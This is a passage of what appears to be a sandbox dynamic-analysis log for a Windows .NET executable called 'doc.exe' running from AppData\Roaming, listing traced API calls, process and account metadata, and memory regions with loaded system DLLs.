(lpClassName="WindowsForms10.Window.8.app.0.141b42a_r14_ad1", hInstance=0x1360000) returned 0 [0289.005] IsWindow (hWnd=0x80344) returned 1 [0289.006] GetModuleHandleW (lpModuleName="user32.dll") returned 0x766d0000 [0289.006] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x400, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0xf2f66c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWùcîòFcDþôeìøò", lpUsedDefaultChar=0x0) returned 14 [0289.006] GetProcAddress (hModule=0x766d0000, lpProcName="DefWindowProcW") returned 0x778f25dd [0289.007] SetWindowLongW (hWnd=0x80344, nIndex=-4, dwNewLong=2005870045) returned 6490446 [0289.007] SetClassLongW (hWnd=0x80344, nIndex=-24, dwNewLong=2005870045) returned 0x63094e [0289.007] IsWindow (hWnd=0x80344) returned 1 [0289.008] DestroyWindow (hWnd=0x80344) returned 0 [0289.008] PostMessageW (hWnd=0x80344, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0289.008] SetConsoleCtrlHandler (HandlerRoutine=0x630926, Add=0) returned 1 [0289.008] EtwEventUnregister () returned 0x0 [0289.016] GdipDisposeImage (image=0x1072230) returned 0x0 [0289.024] CloseHandle (hObject=0x40) returned 1 [0289.266] CloseHandle (hObject=0x344) returned 1 [0289.267] RegCloseKey (hKey=0x80000004) returned 0x0 [0289.268] CloseHandle (hObject=0x284) returned 1 Thread: id = 215 os_tid = 0xd54 Thread: id = 237 os_tid = 0x854 Thread: id = 238 os_tid = 0x858 Thread: id = 257 os_tid = 0xd14 Thread: id = 261 os_tid = 0x790 Thread: id = 264 os_tid = 0x7c0 Process: id = "9" image_name = "doc.exe" filename = "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe" page_root = "0x29175000" os_pid = "0xd88" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xed0" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2740 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2741 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2742 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2743 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2744 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2745 start_va = 0x1a0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2746 start_va = 0x310000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 2747 start_va = 0x1360000 end_va = 0x1401fff monitored = 1 entry_point = 0x13d26f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2748 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2749 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2750 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2751 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2752 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2753 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2754 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2755 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2756 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2757 start_va = 0x500000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2758 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2759 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2760 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2761 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2762 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2763 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2764 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 2765 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2766 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 2767 start_va = 0x580000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 2768 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 2769 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2770 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2802 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2803 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2804 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2805 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2806 start_va = 0x770000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 2807 start_va = 0x1e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2817 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2818 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2819 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2820 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2821 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2822 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2823 start_va = 0x770000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 2824 start_va = 0x950000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 2825 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 2826 start_va = 0x73430000 end_va = 0x73432fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 2838 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2839 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2840 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2841 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2842 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2843 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2844 start_va = 0x960000 end_va = 0xae7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000960000" filename = "" Region: id = 2845 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2846 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2847 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2860 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2861 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2862 start_va = 0xaf0000 end_va = 0xc70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000af0000" filename = "" Region: id = 2863 start_va = 0x1410000 end_va = 0x280ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001410000" filename = "" Region: id = 2864 start_va = 0xe0000 end_va = 0x17bfff monitored = 1 entry_point = 0x1526f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2865 start_va = 0xe0000 end_va = 0x17bfff monitored = 1 entry_point = 0x1526f2 region_type = mapped_file name = "doc.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\doc.exe") Region: id = 2866 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2867 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2868 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2869 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 2870 start_va = 0x65ee0000 end_va = 0x65ef3fff monitored = 0 entry_point = 0x65eeac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 2871 start_va = 0x65d50000 end_va = 0x65dfafff monitored = 0 entry_point = 0x65de5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 2878 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 2879 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2883 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 2884 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2885 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 2886 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2887 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 2888 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 2889 start_va = 0x160000 end_va = 0x160fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 2890 start_va = 0xc80000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 2891 start_va = 0x770000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 2892 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008a0000" filename = "" Region: id = 2893 start_va = 0x5b0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 2894 start_va = 0x670000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 2895 start_va = 0xe20000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 2896 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2907 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2908 start_va = 0x2810000 end_va = 0x480ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002810000" filename = "" Region: id = 2909 start_va = 0x1e0000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 2910 start_va = 0x2b0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 2911 start_va = 0x790000 end_va = 0x7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 2912 start_va = 0x830000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 2913 start_va = 0xf40000 end_va = 0x103ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 2914 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2923 start_va = 0x420000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2924 start_va = 0x1080000 end_va = 0x117ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 2925 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2941 start_va = 0x4810000 end_va = 0x4adefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2942 start_va = 0x647c0000 end_va = 0x65bcafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 2945 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2946 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2947 start_va = 0x4ae0000 end_va = 0x4d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 2950 start_va = 0xc80000 end_va = 0xd5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 2951 start_va = 0xda0000 end_va = 0xddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 2952 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 2957 start_va = 0x60db0000 end_va = 0x60db2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2958 start_va = 0x5f910000 end_va = 0x5f998fff monitored = 1 entry_point = 0x5f911130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 2959 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2960 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2965 start_va = 0x63d60000 end_va = 0x647b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 2967 start_va = 0x61810000 end_va = 0x619b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\system.drawing.ni.dll") Region: id = 2970 start_va = 0x5d750000 end_va = 0x5e5b5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\system.windows.forms.ni.dll") Region: id = 2975 start_va = 0x637b0000 end_va = 0x63d53fff monitored = 1 entry_point = 0x63d3b692 region_type = mapped_file name = "system.windows.forms.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Windows.Forms\\v4.0_4.0.0.0__b77a5c561934e089\\System.Windows.Forms.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.windows.forms\\v4.0_4.0.0.0__b77a5c561934e089\\system.windows.forms.dll") Region: id = 2976 start_va = 0x190000 end_va = 0x191fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2977 start_va = 0x62d20000 end_va = 0x63537fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 2978 start_va = 0x63c50000 end_va = 0x63d54fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2988 start_va = 0x625a0000 end_va = 0x62d13fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 2994 start_va = 0x280000 end_va = 0x28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 2995 start_va = 0x65c40000 end_va = 0x65c52fff monitored = 1 entry_point = 0x65c4d900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 2996 start_va = 0x4d10000 end_va = 0x4fe1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 3005 start_va = 0x755b0000 end_va = 0x761f9fff monitored = 0 entry_point = 0x75631601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3006 start_va = 0x290000 end_va = 0x290fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3007 start_va = 0x740a0000 end_va = 0x740aafff monitored = 0 entry_point = 0x740a1992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 3008 start_va = 0x4ae0000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 3009 start_va = 0x4cd0000 end_va = 0x4d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 3021 start_va = 0x65f20000 end_va = 0x65f36fff monitored = 0 entry_point = 0x65f235fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 3022 start_va = 0x73bc0000 